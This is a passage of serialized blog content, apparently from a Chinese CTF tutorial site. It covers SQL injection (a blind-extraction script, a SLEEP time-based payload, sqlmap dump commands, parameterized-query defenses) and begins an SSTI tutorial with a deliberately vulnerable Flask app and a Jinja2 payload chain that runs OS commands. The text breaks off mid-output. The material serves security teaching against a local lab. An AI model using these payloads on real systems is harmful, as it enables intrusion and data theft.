result)\n",[26,5958,5959,5964,5969,5973,5978,5983,5987,5992,5997,6002,6007,6012,6017,6022,6027,6032,6037,6042,6047,6052,6057,6062,6067,6072,6077,6082,6086],{"__ignoreMap":24},[29,5960,5961],{"class":31,"line":32},[29,5962,5963],{},"import requests, string\n",[29,5965,5966],{"class":31,"line":38},[29,5967,5968],{},"# requests：HTTP 请求库；string：标准库，提供 printable（可打印字符集）。\n",[29,5970,5971],{"class":31,"line":104},[29,5972,101],{"emptyLinePlaceholder":100},[29,5974,5975],{"class":31,"line":110},[29,5976,5977],{},"url = \"http://127.0.0.1:8000/vuln.php\"\n",[29,5979,5980],{"class":31,"line":116},[29,5981,5982],{},"result = \"\"          # 保存已确认的 flag 片段\n",[29,5984,5985],{"class":31,"line":122},[29,5986,101],{"emptyLinePlaceholder":100},[29,5988,5989],{"class":31,"line":128},[29,5990,5991],{},"for pos in range(1, 50):\n",[29,5993,5994],{"class":31,"line":134},[29,5995,5996],{},"    # pos 从 1 开始，逐位猜测；50 是长度上限，防止死循环。\n",[29,5998,5999],{"class":31,"line":140},[29,6000,6001],{},"    found = False\n",[29,6003,6004],{"class":31,"line":146},[29,6005,6006],{},"    for ch in string.printable:\n",[29,6008,6009],{"class":31,"line":367},[29,6010,6011],{},"        payload = f\"1 AND (SELECT SUBSTRING((SELECT flag FROM flag LIMIT 1),{pos},1))='{ch}'--+\"\n",[29,6013,6014],{"class":31,"line":373},[29,6015,6016],{},"        # SUBSTRING(text, pos, 1)：取字符串第 pos 位、长度 1 的字符。\n",[29,6018,6019],{"class":31,"line":379},[29,6020,6021],{},"        # 内层 SELECT flag FROM flag LIMIT 1：取出 flag 表第一行。\n",[29,6023,6024],{"class":31,"line":775},[29,6025,6026],{},"        # 整句含义：如果 flag 第 pos 位是 ch，条件为真。\n",[29,6028,6029],{"class":31,"line":781},[29,6030,6031],{},"        r = requests.get(url, params={\"id\": payload})\n",[29,6033,6034],{"class":31,"line":786},[29,6035,6036],{},"        # requests.get(url, params=...)：GET 请求，params 自动做 URL 编码。\n",[29,6038,6039],{"class":31,"line":2600},[29,6040,6041],{},"        # r.text：响应正文。\n",[29,6043,6044],{"class":31,"line":2606},[29,6045,6046],{},"        if \"hello\" in r.text:\n",[29,6048,6049],{"class":31,"line":2611},[29,6050,6051],{},"            # 条件为真时页面正常，包含特征字符串 \"hello\"。\n",[29,6053,6054],{"class":31,"line":4025},[29,6055,6056],{},"            result += ch\n",[29,6058,6059],{"class":31,"line":4031},[29,6060,6061],{},"            print(result)\n",[29,6063,6064],{"class":31,"line":4037},[29,6065,6066],{},"            found = True\n",[29,6068,6069],{"class":31,"line":4043},[29,6070,6071],{},"            break\n",[29,6073,6074],{"class":31,"line":4049},[29,6075,6076],{},"    if not found or result.endswith('}'):\n",[29,6078,6079],{"class":31,"line":4813},[29,6080,6081],{},"        # 一整轮都没猜中 = 已到结尾；或以 } 结尾 = flag 结束。\n",[29,6083,6084],{"class":31,"line":4818},[29,6085,382],{},[29,6087,6088],{"class":31,"line":4824},[29,6089,6090],{},"print(\"flag:\", result)\n",[15,6092,6093],{},"运行过程输出（节选）：",[19,6095,6098],{"className":6096,"code":6097,"language":211,"meta":24},[209],"f\nfl\nfla\nflag{\n...\nflag{sql_injection}\n",[26,6099,6097],{"__ignoreMap":24},[1268,6101,6103],{"id":6102},"_52-时间盲注","5.2 时间盲注",[15,6105,6106,6107,6110],{},"页面连\"正常/异常\"都无法区分时，用 ",[26,6108,6109],{},"SLEEP"," 制造时间差：",[19,6112,6114],{"className":152,"code":6113,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+\"\n",[26,6115,6116],{"__ignoreMap":24},[29,6117,6118,6120,6122,6125],{"class":31,"line":32},[29,6119,5524],{"class":161},[29,6121,5527],{"class":1526},[29,6123,6124],{"class":169},"http://127.0.0.1:8000/vuln.php?id=1 AND IF((SELECT SUBSTRING(database(),1,1))='c',SLEEP(2),0)--+",[29,6126,5533],{"class":1526},[15,6128,6129],{},"响应慢 2 秒 → 条件为真。脚本判断响应时间即可。",[10,6131,6133],{"id":6132},"六核心步骤-4sqlmap-自动化","六、核心步骤 4：sqlmap 自动化",[15,6135,6136,6138],{},[187,6137,189],{},"：手工确认后，用工具批量完成拖库，效率更高。",[1268,6140,6142],{"id":6141},"命令-1检测","命令 1：检测",[15,6144,6145,6147],{},[187,6146,255],{},"：sqlmap 会对参数自动测试多种注入技术并报告类型。先检测确认，再定向拖库。",[19,6149,6151],{"className":152,"code":6150,"language":154,"meta":24,"style":24},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --batch\n",[26,6152,6153],{"__ignoreMap":24},[29,6154,6155,6158,6161,6163,6165,6168],{"class":31,"line":32},[29,6156,6157],{"class":161},"sqlmap",[29,6159,6160],{"class":165}," -u",[29,6162,5527],{"class":1526},[29,6164,5530],{"class":169},[29,6166,6167],{"class":1526},"\"",[29,6169,6170],{"class":165}," --batch\n",[15,6172,1536],{},[19,6174,6177],{"className":6175,"code":6176,"language":211,"meta":24},[209],"Parameter: id (GET)\n    Type: boolean-based blind\n    Type: UNION query\n",[26,6178,6176],{"__ignoreMap":24},[1268,6180,6182],{"id":6181},"命令-2列库","命令 2：列库",[19,6184,6186],{"className":152,"code":6185,"language":154,"meta":24,"style":24},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" --dbs\n",[26,6187,6188],{"__ignoreMap":24},[29,6189,6190,6192,6194,6196,6198,6200],{"class":31,"line":32},[29,6191,6157],{"class":161},[29,6193,6160],{"class":165},[29,6195,5527],{"class":1526},[29,6197,5530],{"class":169},[29,6199,6167],{"class":1526},[29,6201,6202],{"class":165}," --dbs\n",[15,6204,6205,6206,389],{},"预期输出：数据库列表，含 ",[26,6207,1136],{},[1268,6209,6211],{"id":6210},"命令-3导出数据","命令 3：导出数据",[19,6213,6215],{"className":152,"code":6214,"language":154,"meta":24,"style":24},"sqlmap -u \"http://127.0.0.1:8000/vuln.php?id=1\" -D ctf -T flag --dump\n",[26,6216,6217],{"__ignoreMap":24},[29,6218,6219,6221,6223,6225,6227,6229,6232,6235,6238,6241],{"class":31,"line":32},[29,6220,6157],{"class":161},[29,6222,6160],{"class":165},[29,6224,5527],{"class":1526},[29,6226,5530],{"class":169},[29,6228,6167],{"class":1526},[29,6230,6231],{"class":165}," -D",[29,6233,6234],{"class":169}," ctf",[29,6236,6237],{"class":165}," -T",[29,6239,6240],{"class":169}," flag",[29,6242,6243],{"class":165}," --dump\n",[15,6245,385,6246,6248,6249,389],{},[26,6247,3351],{}," 表内容 ",[26,6250,5877],{},[10,6252,6254],{"id":6253},"七核心步骤-5防御","七、核心步骤 5：防御",[19,6256,6258],{"className":5291,"code":6257,"language":5293,"meta":24,"style":24},"// PDO 参数化\n$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n$stmt->execute([$_GET['id']]);\n\n// mysqli 参数化\n$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n$stmt->bind_param(\"ss\", $user, $pass);\n$stmt->execute();\n",[26,6259,6260,6265,6270,6275,6279,6284,6289,6294],{"__ignoreMap":24},[29,6261,6262],{"class":31,"line":32},[29,6263,6264],{},"// PDO 参数化\n",[29,6266,6267],{"class":31,"line":38},[29,6268,6269],{},"$stmt = $pdo->prepare(\"SELECT id, title, content FROM articles WHERE id = ?\");\n",[29,6271,6272],{"class":31,"line":104},[29,6273,6274],{},"$stmt->execute([$_GET['id']]);\n",[29,6276,6277],{"class":31,"line":110},[29,6278,101],{"emptyLinePlaceholder":100},[29,6280,6281],{"class":31,"line":116},[29,6282,6283],{},"// mysqli 参数化\n",[29,6285,6286],{"class":31,"line":122},[29,6287,6288],{},"$stmt = $conn->prepare(\"SELECT * FROM users WHERE username = ? AND password = ?\");\n",[29,6290,6291],{"class":31,"line":128},[29,6292,6293],{},"$stmt->bind_param(\"ss\", $user, $pass);\n",[29,6295,6296],{"class":31,"line":134},[29,6297,6298],{},"$stmt->execute();\n",[19,6300,6302],{"className":311,"code":6301,"language":313,"meta":24,"style":24},"cursor.execute(\"SELECT * FROM users WHERE username = ?\", (name,))\n",[26,6303,6304],{"__ignoreMap":24},[29,6305,6306],{"class":31,"line":32},[29,6307,6301],{},[15,6309,6310,6311,6314],{},"参数化后，输入 ",[26,6312,6313],{},"1 OR 1=1"," 只会作为字符串比较，不再改变语句结构。",[10,6316,6318],{"id":6317},"八附录本地可运行的-sqlite-模拟完整输入输出","八、附录：本地可运行的 SQLite 模拟（完整输入输出）",[15,6320,6321,6323],{},[187,6322,189],{},"：没有 PHP/MySQL 环境时，用 Python 自带 sqlite3 复现同样的\"字符串拼接注入\"，逐条对照输出理解每一步。",[15,6325,6326,6327,85],{},"没有 PHP/MySQL 时，用 Python + SQLite 复现同样的漏洞机制。保存 ",[26,6328,6329],{},"sim.py",[19,6331,6333],{"className":311,"code":6332,"language":313,"meta":24,"style":24},"import sqlite3\n# sqlite3：Python 标准库，操作 SQLite 数据库。\n\nconn = sqlite3.connect(':memory:')\n# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\nconn.executescript('''\nCREATE TABLE articles (id INT, title TEXT, content TEXT);\nINSERT INTO articles VALUES (1, 'hello', 'world'), (2, 'secret', 'hidden');\nCREATE TABLE flag (flag TEXT);\nINSERT INTO flag VALUES ('flag{sql_injection}');\n''')\n# executescript：一次性执行多条 SQL，建表并插入测试数据。\n\ndef query(id_):\n    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n    cur = conn.cursor()\n    # cursor()：创建游标对象，用于执行 SQL。\n    try:\n        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n        return str(cur.fetchall())\n        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n    except Exception as e:\n        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n        return \"ERROR: \" + str(e)\n\nprint(query(\"1\"))\nprint(query(\"1'\"))\nprint(query(\"1 AND 1=1\"))\nprint(query(\"1 AND 1=2\"))\nprint(query(\"1 ORDER BY 3\"))\nprint(query(\"-1 UNION SELECT 1,2,3-- \"))\nprint(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\nprint(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[26,6334,6335,6340,6345,6349,6354,6359,6364,6369,6373,6378,6382,6387,6392,6396,6401,6406,6411,6416,6421,6426,6431,6436,6441,6446,6451,6456,6460,6465,6470,6475,6480,6485,6490,6495],{"__ignoreMap":24},[29,6336,6337],{"class":31,"line":32},[29,6338,6339],{},"import sqlite3\n",[29,6341,6342],{"class":31,"line":38},[29,6343,6344],{},"# sqlite3：Python 标准库，操作 SQLite 数据库。\n",[29,6346,6347],{"class":31,"line":104},[29,6348,101],{"emptyLinePlaceholder":100},[29,6350,6351],{"class":31,"line":110},[29,6352,6353],{},"conn = sqlite3.connect(':memory:')\n",[29,6355,6356],{"class":31,"line":116},[29,6357,6358],{},"# connect(':memory:')：在内存中创建数据库，程序退出即消失，适合演示。\n",[29,6360,6361],{"class":31,"line":122},[29,6362,6363],{},"conn.executescript('''\n",[29,6365,6366],{"class":31,"line":128},[29,6367,6368],{},"CREATE TABLE articles (id INT, title TEXT, content TEXT);\n",[29,6370,6371],{"class":31,"line":134},[29,6372,5412],{},[29,6374,6375],{"class":31,"line":140},[29,6376,6377],{},"CREATE TABLE flag (flag TEXT);\n",[29,6379,6380],{"class":31,"line":146},[29,6381,5422],{},[29,6383,6384],{"class":31,"line":367},[29,6385,6386],{},"''')\n",[29,6388,6389],{"class":31,"line":373},[29,6390,6391],{},"# executescript：一次性执行多条 SQL，建表并插入测试数据。\n",[29,6393,6394],{"class":31,"line":379},[29,6395,101],{"emptyLinePlaceholder":100},[29,6397,6398],{"class":31,"line":775},[29,6399,6400],{},"def query(id_):\n",[29,6402,6403],{"class":31,"line":781},[29,6404,6405],{},"    # 模拟服务端：把参数拼进 SQL 再执行（与漏洞 PHP 代码等价）。\n",[29,6407,6408],{"class":31,"line":786},[29,6409,6410],{},"    cur = conn.cursor()\n",[29,6412,6413],{"class":31,"line":2600},[29,6414,6415],{},"    # cursor()：创建游标对象，用于执行 SQL。\n",[29,6417,6418],{"class":31,"line":2606},[29,6419,6420],{},"    try:\n",[29,6422,6423],{"class":31,"line":2611},[29,6424,6425],{},"        cur.execute(\"SELECT id, title, content FROM articles WHERE id = \" + id_)\n",[29,6427,6428],{"class":31,"line":4025},[29,6429,6430],{},"        # execute：执行一条 SQL；这里直接拼接 id_，即注入点。\n",[29,6432,6433],{"class":31,"line":4031},[29,6434,6435],{},"        return str(cur.fetchall())\n",[29,6437,6438],{"class":31,"line":4037},[29,6439,6440],{},"        # fetchall()：取出全部结果行，str() 转成字符串方便打印。\n",[29,6442,6443],{"class":31,"line":4043},[29,6444,6445],{},"    except Exception as e:\n",[29,6447,6448],{"class":31,"line":4049},[29,6449,6450],{},"        # 语法错误等异常会走到这里，模拟\"页面报错\"。\n",[29,6452,6453],{"class":31,"line":4813},[29,6454,6455],{},"        return \"ERROR: \" + str(e)\n",[29,6457,6458],{"class":31,"line":4818},[29,6459,101],{"emptyLinePlaceholder":100},[29,6461,6462],{"class":31,"line":4824},[29,6463,6464],{},"print(query(\"1\"))\n",[29,6466,6467],{"class":31,"line":4830},[29,6468,6469],{},"print(query(\"1'\"))\n",[29,6471,6472],{"class":31,"line":4835},[29,6473,6474],{},"print(query(\"1 AND 1=1\"))\n",[29,6476,6477],{"class":31,"line":4841},[29,6478,6479],{},"print(query(\"1 AND 1=2\"))\n",[29,6481,6482],{"class":31,"line":4847},[29,6483,6484],{},"print(query(\"1 ORDER BY 3\"))\n",[29,6486,6487],{"class":31,"line":4853},[29,6488,6489],{},"print(query(\"-1 UNION SELECT 1,2,3-- \"))\n",[29,6491,6492],{"class":31,"line":4859},[29,6493,6494],{},"print(query(\"-1 UNION SELECT 1,group_concat(name),3 FROM sqlite_master WHERE type='table'-- \"))\n",[29,6496,6497],{"class":31,"line":4864},[29,6498,6499],{},"print(query(\"-1 UNION SELECT 1,flag,3 FROM flag-- \"))\n",[15,6501,193],{},[19,6503,6505],{"className":152,"code":6504,"language":154,"meta":24,"style":24},"python3 sim.py\n",[26,6506,6507],{"__ignoreMap":24},[29,6508,6509,6511],{"class":31,"line":32},[29,6510,3179],{"class":161},[29,6512,6513],{"class":169}," sim.py\n",[15,6515,3477],{},[19,6517,6520],{"className":6518,"code":6519,"language":211,"meta":24},[209],"[(1, 'hello', 'world')]\nERROR: unrecognized token: \"'\"\n[(1, 'hello', 'world')]\n[]\n[(1, 'hello', 'world')]\n[(1, 2, 3)]\n[(1, 'articles,flag', 3)]\n[(1, 'flag{sql_injection}', 3)]\n",[26,6521,6519],{"__ignoreMap":24},[15,6523,6524],{},"逐行对应：",[455,6526,6527,6540],{},[458,6528,6529],{},[461,6530,6531,6534,6537],{},[464,6532,6533],{},"输入",[464,6535,6536],{},"输出",[464,6538,6539],{},"结论",[471,6541,6542,6555,6568,6580,6593,6606,6621,6634],{},[461,6543,6544,6549,6552],{},[476,6545,6546],{},[26,6547,6548],{},"1",[476,6550,6551],{},"正常记录",[476,6553,6554],{},"基线",[461,6556,6557,6562,6565],{},[476,6558,6559],{},[26,6560,6561],{},"1'",[476,6563,6564],{},"语法错误",[476,6566,6567],{},"注入点存在",[461,6569,6570,6575,6577],{},[476,6571,6572],{},[26,6573,6574],{},"1 AND 1=1",[476,6576,6551],{},[476,6578,6579],{},"条件真",[461,6581,6582,6587,6590],{},[476,6583,6584],{},[26,6585,6586],{},"1 AND 1=2",[476,6588,6589],{},"空",[476,6591,6592],{},"条件假",[461,6594,6595,6600,6603],{},[476,6596,6597],{},[26,6598,6599],{},"1 ORDER BY 3",[476,6601,6602],{},"正常",[476,6604,6605],{},"至少 3 列",[461,6607,6608,6613,6618],{},[476,6609,6610],{},[26,6611,6612],{},"-1 UNION SELECT 1,2,3",[476,6614,6615],{},[26,6616,6617],{},"(1, 2, 3)",[476,6619,6620],{},"3 列且回显",[461,6622,6623,6626,6631],{},[476,6624,6625],{},"查 sqlite_master",[476,6627,6628],{},[26,6629,6630],{},"articles,flag",[476,6632,6633],{},"表名（SQLite 的元数据表；MySQL 用 information_schema.tables）",[461,6635,6636,6639,6643],{},[476,6637,6638],{},"查 flag 表",[476,6640,6641],{},[26,6642,5877],{},[476,6644,6645],{},"拿到 flag",[10,6647,6649],{"id":6648},"九小结","九、小结",[15,6651,6652,6653,6656],{},"SQL 注入主线：",[187,6654,6655],{},"判断注入点 → UNION 逐层拿数据（列数→库→表→列→数据）→ 盲注兜底 → sqlmap 加速 → 参数化防御","。练完 sqli-labs 前 10 关即可掌握全部内容。",[1114,6658,6659],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}",{"title":24,"searchDepth":38,"depth":38,"links":6661},[6662,6663,6664,6665,6666,6667,6668,6669,6670],{"id":5284,"depth":104,"text":5285},{"id":5336,"depth":104,"text":5337},{"id":5490,"depth":104,"text":5491},{"id":5648,"depth":104,"text":5649},{"id":5886,"depth":104,"text":5887},{"id":6132,"depth":104,"text":6133},{"id":6253,"depth":104,"text":6254},{"id":6317,"depth":104,"text":6318},{"id":6648,"depth":104,"text":6649},"SQL 注入环境搭建、注入点判断、UNION 五步拖库、盲注脚本、sqlmap 自动化、参数化防御。",{"date":1132,"image":6673,"alt":6674,"tags":6675,"published":100},"/blogs-img/blog5.png","SQL 注入深入实战",[1136,6676,6677,1138],"web","sql注入","/blogs/ctf-web-sql-injection-deep-dive",{"title":5279,"description":6671},"blogs/14. ctf-web-sql-injection-deep-dive","ayEbnZAfIhYBpMrKx07Y9pgkSt5Y7VQ7rhq2f05H6Ns",{"id":6683,"title":6684,"body":6685,"description":7731,"extension":1130,"meta":7732,"navigation":100,"ogImage":7733,"path":7737,"seo":7738,"stem":7739,"__hash__":7740},"content/blogs/15. ctf-web-ssti-deep-dive.md","SSTI 深入实战：探测、RCE 链与绕过",{"type":7,"value":6686,"toc":7721},[6687,6691,6694,6737,6748,6751,6760,6766,6770,6784,6789,6842,6844,6856,6860,6865,6878,6882,6898,6900,6922,6926,6942,6944,6962,6972,6976,7043,7047,7052,7085,7094,7098,7104,7108,7114,7117,7133,7135,7153,7156,7172,7174,7192,7205,7213,7224,7231,7237,7240,7318,7324,7327,7333,7337,7349,7358,7370,7374,7380,7384,7390,7399,7401,7405,7451,7455,7498,7504,7508,7511,7580,7584,7593,7597,7602,7617,7623,7627,7642,7671,7674,7680,7684,7692,7695,7701,7703,7718],[10,6688,6690],{"id":6689},"一现实背景模板引擎的正确与错误用法","一、现实背景：模板引擎的正确与错误用法",[15,6692,6693],{},"Web 开发常用模板引擎把数据渲染成 HTML。Flask 的正确写法：",[19,6695,6697],{"className":311,"code":6696,"language":313,"meta":24,"style":24},"from flask import Flask, render_template\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    return render_template(\"hello.html\", name=name)\n",[26,6698,6699,6704,6708,6713,6717,6722,6727,6732],{"__ignoreMap":24},[29,6700,6701],{"class":31,"line":32},[29,6702,6703],{},"from flask import Flask, render_template\n",[29,6705,6706],{"class":31,"line":38},[29,6707,101],{"emptyLinePlaceholder":100},[29,6709,6710],{"class":31,"line":104},[29,6711,6712],{},"app = Flask(__name__)\n",[29,6714,6715],{"class":31,"line":110},[29,6716,101],{"emptyLinePlaceholder":100},[29,6718,6719],{"class":31,"line":116},[29,6720,6721],{},"@app.route(\"/\")\n",[29,6723,6724],{"class":31,"line":122},[29,6725,6726],{},"def index():\n",[29,6728,6729],{"class":31,"line":128},[29,6730,6731],{},"    name = request.args.get(\"name\", \"world\")\n",[29,6733,6734],{"class":31,"line":134},[29,6735,6736],{},"    return render_template(\"hello.html\", name=name)\n",[15,6738,6739,6740,6743,6744,6747],{},"模板文件 ",[26,6741,6742],{},"hello.html"," 内容是固定的 ",[26,6745,6746],{},"\u003Ch1>Hello, {{ name }}!\u003C/h1>","，用户输入只是参数值。",[15,6749,6750],{},"错误写法是把用户输入拼进模板字符串：",[19,6752,6754],{"className":311,"code":6753,"language":313,"meta":24,"style":24},"return render_template_string(\"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\", name=name)\n",[26,6755,6756],{"__ignoreMap":24},[29,6757,6758],{"class":31,"line":32},[29,6759,6753],{},[15,6761,6762,6765],{},[26,6763,6764],{},"{{ ... }}"," 里的表达式会被求值。用户输入进入模板字符串，就形成了模板注入（SSTI）。",[10,6767,6769],{"id":6768},"二环境搭建","二、环境搭建",[19,6771,6773],{"className":152,"code":6772,"language":154,"meta":24,"style":24},"pip install flask\n",[26,6774,6775],{"__ignoreMap":24},[29,6776,6777,6779,6781],{"class":31,"line":32},[29,6778,3755],{"class":161},[29,6780,1230],{"class":169},[29,6782,6783],{"class":169}," flask\n",[15,6785,2520,6786,85],{},[26,6787,6788],{},"app.py",[19,6790,6792],{"className":311,"code":6791,"language":313,"meta":24,"style":24},"from flask import Flask, request, render_template_string\n\napp = Flask(__name__)\n\n@app.route(\"/\")\ndef index():\n    name = request.args.get(\"name\", \"world\")\n    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n    return render_template_string(html, name=name)\n\napp.run(host=\"0.0.0.0\", port=5000)\n",[26,6793,6794,6799,6803,6807,6811,6815,6819,6823,6828,6833,6837],{"__ignoreMap":24},[29,6795,6796],{"class":31,"line":32},[29,6797,6798],{},"from flask import Flask, request, render_template_string\n",[29,6800,6801],{"class":31,"line":38},[29,6802,101],{"emptyLinePlaceholder":100},[29,6804,6805],{"class":31,"line":104},[29,6806,6712],{},[29,6808,6809],{"class":31,"line":110},[29,6810,101],{"emptyLinePlaceholder":100},[29,6812,6813],{"class":31,"line":116},[29,6814,6721],{},[29,6816,6817],{"class":31,"line":122},[29,6818,6726],{},[29,6820,6821],{"class":31,"line":128},[29,6822,6731],{},[29,6824,6825],{"class":31,"line":134},[29,6826,6827],{},"    html = \"\u003Ch1>Hello, \" + name + \"!\u003C/h1>\"\n",[29,6829,6830],{"class":31,"line":140},[29,6831,6832],{},"    return render_template_string(html, name=name)\n",[29,6834,6835],{"class":31,"line":146},[29,6836,101],{"emptyLinePlaceholder":100},[29,6838,6839],{"class":31,"line":367},[29,6840,6841],{},"app.run(host=\"0.0.0.0\", port=5000)\n",[15,6843,193],{},[19,6845,6847],{"className":152,"code":6846,"language":154,"meta":24,"style":24},"python app.py\n",[26,6848,6849],{"__ignoreMap":24},[29,6850,6851,6853],{"class":31,"line":32},[29,6852,313],{"class":161},[29,6854,6855],{"class":169}," app.py\n",[10,6857,6859],{"id":6858},"三核心步骤-1探测","三、核心步骤 1：探测",[15,6861,6862,6864],{},[187,6863,189],{},"：确认\"用户输入被当作模板代码求值\"。",[15,6866,6867,6869,6870,6873,6874,6877],{},[187,6868,255],{},"：模板引擎会执行 ",[26,6871,6872],{},"{{ 表达式 }}","。传 ",[26,6875,6876],{},"{{7*7}}","，若响应出现 49，说明表达式被求值，注入成立。先做这一步，再考虑 RCE。",[1268,6879,6881],{"id":6880},"_31-正常请求","3.1 正常请求",[19,6883,6885],{"className":152,"code":6884,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name=alice\"\n",[26,6886,6887],{"__ignoreMap":24},[29,6888,6889,6891,6893,6896],{"class":31,"line":32},[29,6890,5524],{"class":161},[29,6892,5527],{"class":1526},[29,6894,6895],{"class":169},"http://127.0.0.1:5000/?name=alice",[29,6897,5533],{"class":1526},[15,6899,385],{},[19,6901,6905],{"className":6902,"code":6903,"language":6904,"meta":24,"style":24},"language-html shiki shiki-themes dracula","\u003Ch1>Hello, alice!\u003C/h1>\n","html",[26,6906,6907],{"__ignoreMap":24},[29,6908,6909,6912,6915,6918,6920],{"class":31,"line":32},[29,6910,6911],{"class":1189},"\u003C",[29,6913,6914],{"class":1182},"h1",[29,6916,6917],{"class":1189},">Hello, alice!\u003C/",[29,6919,6914],{"class":1182},[29,6921,1193],{"class":1189},[1268,6923,6925],{"id":6924},"_32-表达式求值","3.2 表达式求值",[19,6927,6929],{"className":152,"code":6928,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name={{7*7}}\"\n",[26,6930,6931],{"__ignoreMap":24},[29,6932,6933,6935,6937,6940],{"class":31,"line":32},[29,6934,5524],{"class":161},[29,6936,5527],{"class":1526},[29,6938,6939],{"class":169},"http://127.0.0.1:5000/?name={{7*7}}",[29,6941,5533],{"class":1526},[15,6943,385],{},[19,6945,6947],{"className":6902,"code":6946,"language":6904,"meta":24,"style":24},"\u003Ch1>Hello, 49!\u003C/h1>\n",[26,6948,6949],{"__ignoreMap":24},[29,6950,6951,6953,6955,6958,6960],{"class":31,"line":32},[29,6952,6911],{"class":1189},[29,6954,6914],{"class":1182},[29,6956,6957],{"class":1189},">Hello, 49!\u003C/",[29,6959,6914],{"class":1182},[29,6961,1193],{"class":1189},[15,6963,6964,6967,6968,6971],{},[26,6965,6966],{},"7*7"," 被求值成 ",[26,6969,6970],{},"49","，说明模板表达式生效，SSTI 成立。",[1268,6973,6975],{"id":6974},"_33-其他引擎的探测语法","3.3 其他引擎的探测语法",[455,6977,6978,6991],{},[458,6979,6980],{},[461,6981,6982,6985,6988],{},[464,6983,6984],{},"引擎",[464,6986,6987],{},"语言",[464,6989,6990],{},"探测 payload",[471,6992,6993,7005,7018,7030],{},[461,6994,6995,6998,7001],{},[476,6996,6997],{},"Jinja2 / Twig",[476,6999,7000],{},"Python / PHP",[476,7002,7003],{},[26,7004,6876],{},[461,7006,7007,7010,7013],{},[476,7008,7009],{},"Freemarker",[476,7011,7012],{},"Java",[476,7014,7015],{},[26,7016,7017],{},"${7*7}",[461,7019,7020,7023,7025],{},[476,7021,7022],{},"Velocity",[476,7024,7012],{},[476,7026,7027],{},[26,7028,7029],{},"#set($x=7*7)$x",[461,7031,7032,7035,7038],{},[476,7033,7034],{},"Smarty",[476,7036,7037],{},"PHP",[476,7039,7040],{},[26,7041,7042],{},"{$smarty.version}",[10,7044,7046],{"id":7045},"四核心步骤-2一条-rce-链","四、核心步骤 2：一条 RCE 链",[15,7048,7049,7051],{},[187,7050,189],{},"：从\"能算数\"提升到\"能执行系统命令\"。",[15,7053,7054,7056,7057,7060,7061,933,7064,933,7067,7070,7071,7074,7075,7077,7078,7081,7082,389],{},[187,7055,255],{},"：模板只能访问少量对象（如 ",[26,7058,7059],{},"config","）。Python 对象有 ",[26,7062,7063],{},"__class__",[26,7065,7066],{},"__init__",[26,7068,7069],{},"__globals__"," 等内部属性，沿着它们可以摸到模块全局命名空间，从而拿到 ",[26,7072,7073],{},"os"," 模块。验证方式：先执行 ",[26,7076,5499],{},"，输出 ",[26,7079,7080],{},"uid=..."," 即成功，再换 ",[26,7083,7084],{},"cat /flag",[15,7086,7087,7088,7090,7091,7093],{},"目标是执行系统命令。Jinja2 模板中可以直接访问 Flask 的 ",[26,7089,7059],{}," 对象，沿 Python 内部属性找到 ",[26,7092,7073],{}," 模块。",[1268,7095,7097],{"id":7096},"_41-分步理解","4.1 分步理解",[19,7099,7102],{"className":7100,"code":7101,"language":211,"meta":24},[209],"config                                  → Flask 配置对象\nconfig.__class__                        → 它的类（Config）\nconfig.__class__.__init__               → Config 的构造函数\nconfig.__class__.__init__.__globals__   → 构造函数所在模块的全局命名空间（字典）\n__globals__['os']                       → os 模块\nos.popen('id').read()                   → 执行命令并读取输出\n",[26,7103,7101],{"__ignoreMap":24},[1268,7105,7107],{"id":7106},"_42-完整-payload","4.2 完整 payload",[19,7109,7112],{"className":7110,"code":7111,"language":211,"meta":24},[209],"{{config.__class__.__init__.__globals__['os'].popen('id').read()}}\n",[26,7113,7111],{"__ignoreMap":24},[15,7115,7116],{},"用 curl 发送：",[19,7118,7120],{"className":152,"code":7119,"language":154,"meta":24,"style":24},"curl \"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}\"\n",[26,7121,7122],{"__ignoreMap":24},[29,7123,7124,7126,7128,7131],{"class":31,"line":32},[29,7125,5524],{"class":161},[29,7127,5527],{"class":1526},[29,7129,7130],{"class":169},"http://127.0.0.1:5000/?name={{config.__class__.__init__.__globals__['os'].popen('id').read()}}",[29,7132,5533],{"class":1526},[15,7134,385],{},[19,7136,7138],{"className":6902,"code":7137,"language":6904,"meta":24,"style":24},"\u003Ch1>Hello, uid=0(root) gid=0(root) groups=0(root)!\u003C/h1>\n",[26,7139,7140],{"__ignoreMap":24},[29,7141,7142,7144,7146,7149,7151],{"class":31,"line":32},[29,7143,6911],{"class":1189},[29,7145,6914],{"class":1182},[29,7147,7148],{"class":1189},">Hello, uid=0(root) gid=0(root) 